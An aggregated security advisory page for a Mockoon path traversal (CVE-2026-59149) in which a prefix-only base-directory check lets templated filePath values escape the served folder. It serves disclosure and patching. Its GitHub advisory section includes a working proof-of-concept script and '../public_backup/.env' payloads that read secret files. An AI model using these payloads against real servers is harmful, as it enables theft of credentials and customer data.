Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
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cve-program · CVE-2026-59149
PublishedMockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
- Source published
- 9 Jul 2026 18:28:35 UTC
- Source modified
- 9 Jul 2026 18:41:45 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
euvd · EUVD-2026-42684
PublishedMockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 9, 2026, 6:28:35 PM
dateUpdated: Jul 9, 2026, 6:41:45 PM
- Source published
- Jul 9, 2026, 6:28:35 PM (timezone not stated)
- Source modified
- Jul 9, 2026, 6:41:45 PM (timezone not stated)
- Saved here
- 13 Nov 2026 16:01:57 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
nvd · CVE-2026-59149
PublishedMockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-22 · CWE-23
Original publisher date fields
published: 2026-07-09T19:17:07.207
lastModified: 2026-07-10T19:15:15.780
- Source published
- 9 Jul 2026 19:17:07 UTC
- Source modified
- 10 Jul 2026 19:15:15 UTC
- Saved here
- 25 Oct 2026 14:19:16 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
osv · GHSA-8wqc-v2q8-vff2
Published## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/[email protected] >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`
- Source published
- 11 Sep 2026 22:04:32 UTC
- Source modified
- 11 Sep 2026 22:15:03 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Publisher rating · MODERATE